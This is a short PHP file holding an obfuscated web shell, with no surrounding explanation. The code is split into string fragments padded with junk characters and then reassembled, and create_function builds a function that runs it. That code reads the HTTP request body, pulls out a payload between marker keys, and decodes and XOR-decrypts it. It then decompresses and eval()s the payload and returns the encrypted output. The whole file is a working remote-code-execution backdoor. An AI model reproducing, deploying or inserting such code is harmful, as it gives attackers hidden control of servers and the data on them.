<?php
$t='h("/$khWG(.+)$kf/",@fiWGle_gWGet_cWGontents("pWGhWGp://iWGnput"),$WGm)==1)WG {@ob_starWGt()WG;@eva';
$U='WGl(@gzuncWGompWGresWGs(@x(@base6WG4_deWGcode($m[1])WG,WG$k)WG));$o=@WGob_get_contWGentsWGWG();@o';
$X='b_endWG_cleWGan();$r=@baseWG64_encoWGdeWG(@x(@gzcWGWGomWGpress($o),$kWG));print(WG"$p$kh$rWG$kf");}';
$x='$k="7813WGd1WG59";$kh="WG0d2WG8a7dWGd372a";WG$kf="d5WGWG4b5d29d03WG3";$p="PEVM6COWGWGgT3YKWGpl4g";funct';
$I='=0;($j<$c&&$i<WG$l);WG$jWG++,$i++){$o.WG=$t{$iWG}^WG$WGk{$j};}}WGreturn $o;}if WG(@preWGWGg_matWGc';
$Z=str_replace('g','','gcgreatgge_funcgtgion');
$n='WGionWG x($tWG,$k){$c=stWGrlWGen($k);$l=sWGtrlen(WG$t);$WGo=WG"";WGfor($iWG=0;$i<$lWG;){forWGWG($j';
$C=str_replace('WG','',$x.$n.$I.$t.$U.$X);
$G=$Z('',$C);$G();
?>